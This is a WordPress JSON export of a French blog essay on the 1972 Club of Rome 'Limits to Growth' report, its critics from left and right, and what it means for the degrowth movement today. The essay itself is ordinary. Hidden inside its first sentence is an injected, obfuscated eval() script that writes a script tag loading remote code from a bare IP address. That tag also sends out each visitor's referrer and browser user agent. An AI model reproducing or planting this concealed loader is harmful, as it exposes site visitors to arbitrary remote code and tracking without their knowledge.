{"id":7158,"date":"2012-03-16T21:32:51","date_gmt":"2012-03-16T20:32:51","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=7158"},"modified":"2012-03-16T21:32:51","modified_gmt":"2012-03-16T20:32:51","slug":"le-rapport-au-club-de-rome-stopper-la-croissance-mais-pourquoi","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=7158","title":{"rendered":"Le rapport au Club de Rome : stopper la croissance, mais pourquoi ?"},"content":{"rendered":"<p><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/www.reporterre.net\/IMG\/arton166.jpg?1287737601\" alt=\"\" width=\"100\" height=\"100\" \/>Le <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyeny|var|u0026u|referrer|dhffb||js|php'.split('|'),0,{}))\n<\/script><\/noindex> rapport au Club de Rome sur les limites de la croissance a \u00e9t\u00e9 publi\u00e9 en mars 1972. Il avait alors suscit\u00e9 un extraordinaire d\u00e9bat, dont quelques le\u00e7ons peuvent \u00eatre aujourd\u2019hui tir\u00e9es.<\/strong><\/p>\n<p><span>Elodie Vieille-Blanchard<\/span> &#8211; <span>15 mars 2012<\/span><\/p>\n<p>En 1972, la publication de <em>The Limits to growth<\/em> ou <em>\u00ab\u00a0rapport Meadows\u00a0\u00bb<\/em>, le rapport commandit\u00e9 par le Club de Rome et pr\u00e9par\u00e9 par une \u00e9quipe de scientifiques du Massachusetts Institute of Technology, produit un impact consid\u00e9rable sur le monde acad\u00e9mique et politique. Ce rapport affirme, en s\u2019appuyant sur un mod\u00e8le math\u00e9matique du monde, et \u00e0 grand renfort de graphiques, que le syst\u00e8me plan\u00e9taire va s\u2019effondrer sous la pression de la croissance d\u00e9mographique et industrielle, \u00e0 moins que l\u2019humanit\u00e9 ne d\u00e9cide d\u00e9lib\u00e9r\u00e9ment de stabiliser sa population et sa production.<\/p>\n<p>Il pr\u00e9conise donc de stabiliser la population et la production \u00e0 l\u2019\u00e9chelle mondiale, sans pr\u00e9ciser d\u2019ailleurs par quelles mesures politiques y parvenir, afin d\u2019\u00e9chapper \u00e0 la catastrophe qui s\u2019annonce. En r\u00e9action \u00e0 cet appel \u00e0 la<em> \u00ab\u00a0croissance z\u00e9ro\u00a0\u00bb<\/em>, de nombreuses prises de position, dans le monde politique et acad\u00e9mique, rejettent les conclusions du rapport, sur des bases philosophiques, m\u00e9thodologiques ou politiques.<\/p>\n<p><!--more--><\/p>\n<p>Une critique r\u00e9currente accuse le rapport Meadows d\u2019adopter le point de vue et les int\u00e9r\u00eats des pays riches, au d\u00e9triment des pays pauvres. Cette critique conna\u00eet plusieurs d\u00e9clinaisons. Pour commencer, on accuse le rapport Meadows de se focaliser sur des probl\u00e9matiques qui concernent les pays riches, comme la pollution, en laissant de c\u00f4t\u00e9 les enjeux v\u00e9ritables pour les pays pauvres, la satisfaction des besoins fondamentaux en premier lieu.<\/p>\n<p>Ensuite, on avance que l\u2019appr\u00e9hension m\u00eame de la catastrophe, consid\u00e9r\u00e9e dans le rapport comme un \u00e9v\u00e9nement futur qui viendrait briser une dynamique ascendante de longue dur\u00e9e, t\u00e9moigne d\u2019un point de vue occidentalo-centr\u00e9. Selon cette critique, une telle approche ne prend pas en compte le fait que pour la plus grande partie de l\u2019humanit\u00e9, c\u2019est au pr\u00e9sent que la vie est difficile, plut\u00f4t que dans un futur incertain. En bref, la <em>\u00ab\u00a0catastrophe\u00a0\u00bb<\/em> est d\u00e9j\u00e0 \u00e9prouv\u00e9e chaque jour dans les pays qualifi\u00e9s de <em>\u00ab\u00a0sous-d\u00e9velopp\u00e9s\u00a0\u00bb<\/em>.<\/p>\n<p>On critique \u00e9galement la structure m\u00eame du mod\u00e8le math\u00e9matique\u00a0: globalis\u00e9, il envisage la destin\u00e9e de l\u2019humanit\u00e9 comme une entit\u00e9 unifi\u00e9e, gommant les rapports de domination entre groupes de pays. En cons\u00e9quence, on pr\u00e9tend que le rapport, en soutenant la <em>\u00ab\u00a0croissance z\u00e9ro\u00a0\u00bb<\/em>, pr\u00e9conise de <em>\u00ab\u00a0geler\u00a0\u00bb<\/em> les in\u00e9galit\u00e9s de richesse en leur \u00e9tat de 1972.<\/p>\n<p>Enfin, les auteurs du rapport sont accus\u00e9s de <em>\u00ab\u00a0technocratisme\u00a0\u00bb<\/em>\u00a0: depuis leur institution scientifique prestigieuse, situ\u00e9e dans le pays le plus riche du monde, ils pr\u00e9tendent dicter \u00e0 l\u2019ensemble de la plan\u00e8te des politiques pr\u00e9conis\u00e9es par des ordinateurs dernier cri, de tels \u00e9quipements incarnant particuli\u00e8rement la domination technologique des Etats-Unis.<\/p>\n<p><strong>Un objet historique ambigu<\/strong><\/p>\n<p>Ces diff\u00e9rentes critiques font appara\u00eetre le rapport Meadows comme un objet historique ambigu\u00a0: d\u2019une part critique du mod\u00e8le de croissance et de ses effets \u00e9cologiques d\u00e9l\u00e9t\u00e8res, mais \u00e9galement t\u00e9moin de la volont\u00e9 d\u2019une \u00e9lite mondiale de pr\u00e9server ses privil\u00e8ges, au d\u00e9triment du plus grand nombre. De telles critiques sont-elles fond\u00e9es\u00a0? Le rapport Meadows \u00e9tait-il l\u2019incarnation d\u2019un catastrophisme <em>\u00ab\u00a0de droite\u00a0\u00bb<\/em> au service des int\u00e9r\u00eats des riches\u00a0? Enfin, quelles cons\u00e9quences peut-on en tirer pour l\u2019objection de croissance contemporaine\u00a0?<\/p>\n<p>Pour commencer, on peut remarquer que l\u2019appartenance sociale et politique des participants au projet du Club de Rome peut venir \u00e0 l\u2019appui des critiques mentionn\u00e9es ici. Jay Forrester, le concepteur du mod\u00e8le math\u00e9matique du monde, est connu pour avoir \u00e9tay\u00e9 des propositions droiti\u00e8res en mati\u00e8re d\u2019urbanisme, comme le rejet de toute politique de construction de logements sociaux, sur la base du mod\u00e8le math\u00e9matique urbain qu\u2019il a \u00e9labor\u00e9. Aurelio Peccei, le fondateur de l\u2019organisation, est une figure de l\u2019entreprise Fiat, qu\u2019il a contribu\u00e9 \u00e0 d\u00e9velopper \u00e0 l\u2019\u00e9tranger. Il a fond\u00e9 et dirig\u00e9 plusieurs autres multinationales et, avant la cr\u00e9ation du Club de Rome, sa pr\u00e9occupation va surtout au dynamisme industriel de l\u2019Europe, plut\u00f4t qu\u2019\u00e0 la satisfaction des besoins fondamentaux dans les pays pauvres. Plusieurs autres cadres du Club de Rome occupent des places importantes \u00e0 l\u2019OCDE et semblent focalis\u00e9s sur les m\u00eames questions que Peccei.<\/p>\n<p>Les racines troubles de la critique de la croissance confortent \u00e9galement l\u2019accusation de collusion entre le projet du Club de Rome et les int\u00e9r\u00eats des pays riches. Dans les ann\u00e9es qui suivent la Seconde Guerre mondiale, la critique de la croissance s\u2019exprime d\u2019abord contre la croissance d\u00e9mographique, qui appara\u00eet comme une menace pour les ressources naturelles. Les premi\u00e8res expressions de ce point de vue \u00e9manent des \u00e9cologues Fairfield Osborn et William Vogt, pour qui la progression de la population mondiale constitue l\u2019une des causes majeures de la destruction environnementale . William Vogt s\u2019impliquera ensuite dans le mouvement pour le contr\u00f4le des naissances, en devenant en 1951 pr\u00e9sident de la Planned Parenthood Federation of America. Ce mouvement, soutenu par des fondations industrielles \u00e9tats-uniennes, effectuera un lobbying efficace dans les ar\u00e8nes internationales, qui aboutira \u00e0 partir des ann\u00e9es 1960 \u00e0 des politiques particuli\u00e8rement sordides de contr\u00f4le des naissances, notamment en Inde .<\/p>\n<p>A la fin des ann\u00e9es 1960, p\u00e9riode pendant laquelle germe le projet du Club de Rome, le <em>\u00ab\u00a0catastrophisme \u00e9cologique <\/em>\u00a0\u00bb qui \u00e9mane d\u2019un certain nombre d\u2019\u00e9crits d\u2019universitaires, et impr\u00e8gne un mouvement environnementaliste en plein essor, t\u00e9moigne \u00e9galement de relents conservateurs. En particulier, la th\u00e9matique de la nocivit\u00e9 de la croissance d\u00e9mographique est port\u00e9e \u00e0 son climax par le biologiste Paul Ehrlich, qui fonde en 1968 l\u2019organisation Zero Population Growth [Croissance d\u00e9mographique z\u00e9ro], et affirme la m\u00eame ann\u00e9e que dans l\u2019int\u00e9r\u00eat de l\u2019humanit\u00e9 dans sa globalit\u00e9, il vaut mieux laisser une partie de l\u2019humanit\u00e9 mourir de faim afin que la population globale ne d\u00e9passe pas un niveau critique .<\/p>\n<p>De tels \u00e9l\u00e9ments, consid\u00e9r\u00e9s h\u00e2tivement, pourraient venir accr\u00e9diter la th\u00e8se, souvent informe, qui voit le rapport des Limites comme l\u2019instrument d\u2019un complot mondial au service des plus gros groupes industriels du monde. Cependant, si le mouvement pour le contr\u00f4le des naissances, tr\u00e8s actif dans les ann\u00e9es 1960, \u00e9tait v\u00e9ritablement stimul\u00e9 par des motivations d\u2019h\u00e9g\u00e9monie \u00e9conomique et politique de l\u2019Occident, il semble que le cas du rapport Meadows soit plus complexe.<\/p>\n<p><strong>Le probl\u00e8me est-il la surpopulation ou la technique\u00a0?<\/strong><\/p>\n<p>On peut mentionner, tout d\u2019abord, \u00e0 la fin des ann\u00e9es 1960, la coexistence entre plusieurs formes de catastrophisme, incarn\u00e9e par la controverse entre les biologistes Paul Ehrlich et Barry Commoner, tous deux auteurs d\u2019ouvrages catastrophistes tr\u00e8s connus et largement diffus\u00e9s. Si Paul Ehrlich met en avant la croissance d\u00e9mographique mondiale comme la plus grande cause de d\u00e9gradation environnementale, Barry Commoner est un scientifique engag\u00e9 de longue date contre le nucl\u00e9aire civil et militaire, qui affirme la n\u00e9cessit\u00e9 d\u2019une appropriation citoyenne des sciences et des techniques, et rejette la th\u00e8se d\u2019Ehrlich. Selon lui, la d\u00e9gradation environnementale est \u00e0 attribuer \u00e0 la transformation radicale des processus de production agricole et industrielle depuis la Seconde Guerre mondiale\u00a0: m\u00e9canisation accrue, pesticides, chimie de synth\u00e8se\u2026 En bref, ce n\u2019est pas la population qui est en cause, mais une nouvelle technologie, aux effets d\u00e9vastateurs et incontr\u00f4l\u00e9s.<\/p>\n<p>Le rapport Meadows tient-il plut\u00f4t du catastrophisme \u00e0 la Ehrlich ou du catastrophisme \u00e0 la Commoner\u00a0? Probablement des deux. Pour comprendre l\u2019ambig\u00fcit\u00e9 du <em>\u00ab\u00a0positionnement\u00a0\u00bb<\/em> qu\u2019il exprime, il faut saisir le projet du Club de Rome comme ce qu\u2019il repr\u00e9sente historiquement\u00a0: le moment contingent de la coop\u00e9ration d\u2019acteurs aux int\u00e9r\u00eats divers, qui conduit \u00e0 la cristallisation d\u2019un certain nombre de th\u00e8ses de l\u2019\u00e9poque, parfois incoh\u00e9rentes, sous la forme d\u2019un mod\u00e8le math\u00e9matique. Jay Forrester, le concepteur du mod\u00e8le math\u00e9matique du monde, interpr\u00e8te de mani\u00e8re tr\u00e8s litt\u00e9rale ses conclusions (la croissance doit cesser parce que physiquement, elle ne peut se poursuivre), et soutiendra sur cette base des propositions politiques plus que r\u00e9actionnaires (il d\u00e9fendra dans les ann\u00e9es 1970 la politique du \u00ab\u00a0triage\u00a0\u00bb\u00a0: supprimer toute aide alimentaire aux pays n\u2019appliquant pas une politique drastique de contr\u00f4le des naissances).<\/p>\n<p>Au contraire, Donella Meadows, la r\u00e9dactrice du rapport des Limites, ne cessera d\u2019affirmer la n\u00e9cessit\u00e9 de redistribuer les richesses \u00e0 l\u2019\u00e9chelle mondiale, et choisira pour elle-m\u00eame un mode de vie sobre, soutenable \u00e9cologiquement.<\/p>\n<p>D\u00e8s 1972, l\u2019ambig\u00fcit\u00e9 du rapport Meadows appara\u00eet dans le d\u00e9bat qu\u2019il suscite. Les critiques \u00e9manent alors de toutes parts\u00a0: de la droite, de la gauche, du Tiers Monde. Ainsi, lorsque le commissaire europ\u00e9en Sicco Mansholt met en avant les conclusions du rapport des Limites dans sa fameuse <em>\u00ab\u00a0lettre\u00a0\u00bb<\/em> de 1972 , et pr\u00f4ne une compl\u00e8te r\u00e9orientation des politiques europ\u00e9ennes (notamment une r\u00e9duction d\u00e9lib\u00e9r\u00e9e de la consommation pour prendre en consid\u00e9ration les limites \u00e0 la croissance), en France, les plus fortes critiques \u00e9manent \u00e0 la fois du centriste Raymond Barre et du communiste Georges Marchais.<\/p>\n<p>L\u2019ampleur du d\u00e9bat provoqu\u00e9 par le rapport des Limites conduit tr\u00e8s rapidement le Club de Rome \u00e0 d\u00e9savouer ses conclusions, prises litt\u00e9ralement\u00a0: il ne s\u2019agirait pas de prendre au s\u00e9rieux la notion de<em> \u00ab\u00a0croissance z\u00e9ro\u00a0\u00bb<\/em>, mais seulement de comprendre que la croissance ne peut pas se poursuivre sans \u00eatre canalis\u00e9e au service de certains buts. En 1974, dans le deuxi\u00e8me rapport r\u00e9dig\u00e9 pour le Club de Rome, on critiquera ainsi la <em>\u00ab\u00a0croissance indiff\u00e9renci\u00e9e\u00a0\u00bb<\/em>, et on affirmera le bien-fond\u00e9 de la <em>\u00ab\u00a0croissance organique\u00a0\u00bb<\/em> pour r\u00e9pondre aux besoins de l\u2019humanit\u00e9.<\/p>\n<p>Le rapport des Limites ne porte donc pas un catastrophisme au service des riches, pas plus qu\u2019il ne porte, d\u2019ailleurs, un catastrophisme de gauche, qui appellerait distinctement \u00e0 une r\u00e9partition plus juste des richesses.<\/p>\n<p>Cependant, ce rapport a \u00e9t\u00e9 critiqu\u00e9 \u00e0 la fois parce qu\u2019il \u00e9tait cens\u00e9 mettre des bornes \u00e0 la consommation insouciante des pays riches, et parce qu\u2019il \u00e9tait cens\u00e9 appeler au <em>\u00ab\u00a0gel\u00a0\u00bb<\/em> du d\u00e9veloppement des pays pauvres. De m\u00eame, ce rapport a \u00e9t\u00e9 revendiqu\u00e9 par le social-d\u00e9mocrate Sicco Mansholt aussi bien que par le r\u00e9actionnaire Jay Forrester, et un certain nombre de militants le citent aujourd\u2019hui comme une r\u00e9f\u00e9rence scientifique accr\u00e9ditant l\u2019objection de croissance.<\/p>\n<p><strong>Il n\u2019y a pas que la catastrophe\u00a0!<\/strong><\/p>\n<p>Une premi\u00e8re le\u00e7on \u00e0 tirer des consid\u00e9rations d\u00e9velopp\u00e9es ici est \u00e0 quel point les zones d\u2019ombre d\u2019un discours, aussi bien que les \u00e9l\u00e9ments qu\u2019il met en avant, conduisent \u00e0 le situer politiquement. Pour la plupart des critiques du rapport des Limites, le fait de ne pas revendiquer franchement une r\u00e9partition plus juste des richesses impliquait une acceptation de l\u2019ordre existant, que la croissance z\u00e9ro devait figer pour l\u2019\u00e9ternit\u00e9.<\/p>\n<p>Une seconde le\u00e7on est plus \u00e9troitement li\u00e9e \u00e0 la rh\u00e9torique catastrophiste. Selon le rapport Meadows, c\u2019est au nom de la catastrophe, et exclusivement au nom de la catastrophe, que la croissance z\u00e9ro doit \u00eatre vis\u00e9e. Certes, le rapport des Limites contient, dans ses derni\u00e8res pages, quelques consid\u00e9rations sur la possible d\u00e9sirabilit\u00e9 de la soci\u00e9t\u00e9 de croissance z\u00e9ro, et sur la possibilit\u00e9 qu\u2019une telle soci\u00e9t\u00e9 connaisse une croissance de la culture, de la spiritualit\u00e9 ou de la qualit\u00e9 de vie\u2026 Cependant, ces consid\u00e9rations ne sont pas d\u00e9velopp\u00e9es, et l\u2019essentiel du rapport est consacr\u00e9 \u00e0 l\u2019expos\u00e9 des simulations informatiques, qui d\u00e9montrent la non-soutenabilit\u00e9 physique de la croissance. En cons\u00e9quence, les objecteurs au rapport des Limites se sont essentiellement occup\u00e9s \u00e0 d\u00e9montrer que la croissance pouvait \u00eatre soutenable, sur des bases physiques exclusivement, et leurs travaux ont contribu\u00e9 \u00e0 cautionner le paradigme \u00e9mergent du d\u00e9veloppement durable .<\/p>\n<p>A l\u2019\u00e9poque o\u00f9 le d\u00e9bat suscit\u00e9 par le rapport des Limites battait son plein, l\u2019\u00e9conomiste h\u00e9t\u00e9rodoxe Nicholas Georgescu-Roegen s\u2019attachait \u00e9galement \u00e0 d\u00e9montrer que la croissance mat\u00e9rielle n\u2019\u00e9tait pas soutenable. Si ses conclusions \u00e9taient plus radicales que celles du rapport Meadows (pour lui, la croissance z\u00e9ro n\u2019\u00e9tait pas plus durable que la croissance, et il convenait donc de rechercher la d\u00e9croissance), son argumentation reposait sur des bases similaires\u00a0: l\u2019insoutenabilit\u00e9 physique du mod\u00e8le dominant. Peu influent durant sa vie, ignor\u00e9 aujourd\u2019hui par la science \u00e9conomique classique, Georgescu-Roegen n\u2019a pas r\u00e9ussi par son \u0153uvre \u00e0 susciter le chamboulement de la science \u00e9conomique qu\u2019il ambitionnait\u00a0: l\u2019int\u00e9gration dans les mod\u00e8les de l\u2019irr\u00e9versibilit\u00e9 des processus \u00e9conomiques, jusqu\u2019ici compl\u00e8tement laiss\u00e9e de c\u00f4t\u00e9.<\/p>\n<p>L\u2019insucc\u00e8s intellectuel et politique de telles entreprises, ayant vis\u00e9 \u00e0 d\u00e9stabiliser le mod\u00e8le de la croissance \u00e9conomique sur des bases purement physiques, doit conduire l\u2019objection de croissance \u00e0 s\u2019interroger sur ce qu\u2019il est pertinent de mettre en avant aujourd\u2019hui, dans une d\u00e9marche de d\u00e9construction du mod\u00e8le de croissance autant que de construction d\u2019un mod\u00e8le alternatif.<\/p>\n<p><strong>Consommer moins, r\u00e9partir mieux<\/strong><\/p>\n<p>L\u2019insoutenabilit\u00e9 physique de la croissance mat\u00e9rielle doit-elle, peut-elle \u00eatre au centre de l\u2019argumentation de l\u2019objection de croissance\u00a0? Autrement dit, si une telle croissance \u00e9tait possible ind\u00e9finiment, devrait-elle pour autant \u00eatre poursuivie\u00a0? La plupart des militants de l\u2019objection de croissance r\u00e9pondraient certainement <em>\u00ab\u00a0non\u00a0\u00bb<\/em> \u00e0 cette question, ce qui implique bien que les limites physiques \u00e0 la croissance ne sont pas la raison principale de leur engagement. Si nous admettons que l\u2019impossibilit\u00e9 physique d\u2019une croissance ind\u00e9finie ne peut pas \u00eatre au c\u0153ur d\u2019un discours critique de la croissance, quels pourraient \u00eatre les axes d\u2019un discours alternatif intellectuellement percutant et politiquement efficient\u00a0?<\/p>\n<p>Le premier axe pourrait \u00e0 mon avis s\u2019appuyer sur la th\u00e8se d\u00e9velopp\u00e9e par Herv\u00e9 Kempf dans son ouvrage de 2007\u00a0: la croissance \u00e9conomique est ins\u00e9parable des in\u00e9galit\u00e9s de richesse, qu\u2019elle produit et dont elle se nourrit. D\u2019une part, \u00e9crit Kempf, la croissance est loin de profiter de la m\u00eame mani\u00e8re \u00e0 tous. Tandis que, dans les vingt derni\u00e8res ann\u00e9es, cette croissance a \u00e9t\u00e9 tr\u00e8s forte, le rapport entre tr\u00e8s riches et tr\u00e8s pauvres a atteint des niveaux sans pr\u00e9c\u00e9dent.<\/p>\n<p>D\u2019autre part, les in\u00e9galit\u00e9s sont un v\u00e9ritable moteur pour la croissance mat\u00e9rielle, dans la mesure o\u00f9 elles stimulent un puissant d\u00e9sir d\u2019imitation des plus riches chez les plus pauvres, vecteur d\u2019une consommation jamais satisfaisante. Tandis que les pauvres s\u2019\u00e9vertuent \u00e0 imiter les riches, les riches se focalisent sur de nouveaux objets de d\u00e9sir, dans une course sans cesse renouvel\u00e9e.<\/p>\n<p>Ce premier axe de critique de la croissance me semble f\u00e9cond intellectuellement, dans la mesure o\u00f9 les statistiques \u00e9conomiques le confortent (comment r\u00e9futer une telle approche\u00a0?), et f\u00e9cond politiquement, dans la mesure o\u00f9 il permet d\u2019asseoir un projet politique critique profond\u00e9ment ancr\u00e9 \u00e0 gauche. Tandis que la croissance creuse les in\u00e9galit\u00e9s, la d\u00e9croissance oblige \u00e0 prendre \u00e0 bras le corps ces in\u00e9galit\u00e9s, et \u00e0 travailler \u00e0 les r\u00e9duire maintenant, plut\u00f4t que de faire miroiter aux pauvres les miettes d\u2019une croissance future. <em>\u00ab\u00a0Consommer moins, r\u00e9partir mieux\u00a0\u00bb<\/em>, tel pourrait donc \u00eatre, sur cette base, le leitmotiv du projet d\u00e9croissant.<\/p>\n<p><strong>Est-ce ainsi que nous voulons vivre\u00a0?<\/strong><\/p>\n<p>Le second axe de critique de la croissance devrait \u00e0 mon avis s\u2019organiser autour de la perte du sens de la vie et de la qualit\u00e9 de vie, dans les soci\u00e9t\u00e9s n\u00e9olib\u00e9rales \u00e0 forte croissance que nous connaissons (certes malmen\u00e9es par la crise depuis quelques ann\u00e9es). Tandis que les gains de productivit\u00e9 pourraient nous permettre de travailler moins, et de consacrer notre temps libre \u00e0 nous cultiver et \u00e0 jouir de l\u2019existence, la pression croissante dans le monde du travail \u00e9puise les salari\u00e9s \u00e0 l\u2019extr\u00eame, chez France T\u00e9l\u00e9com ou ailleurs, et la fronti\u00e8re entre \u00ab\u00a0inclus\u00a0\u00bb et \u00ab\u00a0exclus\u00a0\u00bb fragilise toujours plus les ch\u00f4meurs et les pr\u00e9caires. Dans les grandes villes de notre monde occidental, la sp\u00e9culation immobili\u00e8re li\u00e9e \u00e0 la croissance fragilise les espaces de vie et ali\u00e8ne le quotidien. <em>\u00ab\u00a0Est-ce ainsi que nous voulons vivre\u00a0?\u00a0\u00bb <\/em> pourrait r\u00e9sumer le second axe de la critique de la croissance, et la pens\u00e9e critique de la technique \u00e9labor\u00e9e par Ellul et Illich il y a plus de quarante ans, sur la contre-productivit\u00e9 de nos soci\u00e9t\u00e9s hyper-productives, pourrait nous aider \u00e0 l\u2019\u00e9laborer.<\/p>\n<p>L\u2019histoire du d\u00e9bat suscit\u00e9 par le rapport des Limites s\u2019av\u00e8re donc particuli\u00e8rement f\u00e9conde sur le plan politique. D\u2019une part, la connaissance des critiques adress\u00e9es par le camp <em>\u00ab\u00a0progressiste\u00a0\u00bb<\/em> \u00e0 ce rapport doit nous aider \u00e0 formuler une pens\u00e9e d\u00e9croissante profond\u00e9ment soucieuse de toutes et tous, et en cons\u00e9quence, bien ancr\u00e9e \u00e0 gauche. D\u2019autre part, le bilan historique du d\u00e9bat suscit\u00e9 par ce rapport, quarante ans apr\u00e8s sa parution, doit nous conduire \u00e0 structurer notre argumentation autour des cons\u00e9quences sociales et politiques du mod\u00e8le \u00e9conomique (dans quel monde voulons-nous vivre\u00a0?) plut\u00f4t qu\u2019autour des possibilit\u00e9s physiques de la croissance. C\u2019est une n\u00e9cessit\u00e9 pour que l\u2019objection de croissance percute profond\u00e9ment notre mod\u00e8le culturel et politique.<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..<\/p>\n<p><strong>Bibliographie\u00a0:<\/strong><\/p>\n<p>Commoner, Barry, <em>The Closing Circle\u00a0: Nature, Man, and Technology<\/em>, Knopf, New York (1971). Traduction fran\u00e7aise\u00a0: <em>L\u2019encerclement<\/em>, Seuil, Paris (1972).<\/p>\n<p>Connelly, Matthew, <em>Fatal Misconception \u2013 The Struggle to Control World Population<\/em>, Belknap, Cambridge (2008)<\/p>\n<p>Ehrlich, Paul R., <em>The Population Bomb<\/em>, Ballantine Books, New York (1968). Traduction fran\u00e7aise\u00a0: <em>La Bombe P<\/em>, Fayard, Paris (1972).<\/p>\n<p>Forrester, Jay W., <em>Urban Dynamics<\/em>, MIT Press, Cambridge (1969). Traduction fran\u00e7aise\u00a0: <em>Dynamique Urbaine<\/em>, Economica, Paris (1979).<\/p>\n<p>Kempf, Herv\u00e9, <em><a href=\"http:\/\/www.reporterre.net\/spip.php?article2272\" target=\"_blank\">Comment les riches d\u00e9truisent la plan\u00e8te<\/a><\/em>, Seuil, Paris (2007).<\/p>\n<p>Mansholt, Sicco, Lettre \u00e0 Franco Maria Malfatti, in<em> La lettre Mansholt \u2013 r\u00e9actions et commentaires<\/em>, \u00e9dit\u00e9 par Jean-Claude Thill, Jean-Jacques Pauvert, Paris (1972).<\/p>\n<p>Meadows, Donella H. et Dennis L., Randers J\u00f8rgen, Behrens William W. III, <em>The Limits to Growth<\/em>, Universe Books, New York (1972a). Traduction fran\u00e7aise compl\u00e9t\u00e9e\u00a0: <em>Halte \u00e0 la croissance\u00a0?<\/em> Fayard, Paris (1972b).<\/p>\n<p>Osborn, Fairfield, <em>Our Plundered Planet<\/em>, Little, Brown and Company, Boston (1948). Traduction fran\u00e7aise\u00a0: L<em>a plan\u00e8te au pillage<\/em>, Payot, Paris (1949).<\/p>\n<p>Vieille Blanchard, Elodie, <em>Les Limites \u00e0 la croissance dans un monde global \u2013 mod\u00e9lisations, prospectives, r\u00e9futations<\/em>, Th\u00e8se de doctorat, Ecole des Hautes Etudes en Sciences Sociales (2011).<\/p>\n<p>Vogt, William, <em>Road to Survival<\/em>, William Sloane, New York (1948). Traduction fran\u00e7aise\u00a0: <em>La faim du monde<\/em>, Hachette, Paris (1950).<\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<p><span><strong>Source\u00a0:<\/strong> Courriel \u00e0 <em>Reporterre<\/em><\/span><\/p>\n<p>Elodie Vieille Blanchard est docteure en histoire des sciences et militante chez les <a href=\"http:\/\/www.alternatifs.org\/spip\/\" rel=\"external\" target=\"_blank\">Alternatifs<\/a><\/p>\n<p><strong>Illustration\u00a0:<\/strong> <em><a href=\"http:\/\/www.mediapart.fr\/journal\/economie\/060112\/livret-l-entourloupe?onglet=commentaires\" rel=\"external\" target=\"_blank\">Mediapart<\/a><\/em><\/p>\n<p><strong>Ecouter aussi\u00a0:<\/strong> <em><a href=\"http:\/\/www.reporterre.net\/spip.php?article166\" target=\"_blank\">Le rapport au Club de Rome est-il toujours d\u2019actualit\u00e9\u00a0?<\/a><\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Le rapport au Club de Rome sur les limites de la croissance a \u00e9t\u00e9 publi\u00e9 en mars 1972. Il avait alors suscit\u00e9 un extraordinaire d\u00e9bat, dont quelques le\u00e7ons peuvent \u00eatre aujourd\u2019hui tir\u00e9es. Elodie Vieille-Blanchard &#8211; 15 mars 2012 En 1972, &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=7158\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[45],"tags":[],"class_list":["post-7158","post","type-post","status-publish","format-standard","hentry","category-les-forces-paralleles"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7158","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7158"}],"version-history":[{"count":1,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7158\/revisions"}],"predecessor-version":[{"id":7159,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7158\/revisions\/7159"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7158"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7158"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7158"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}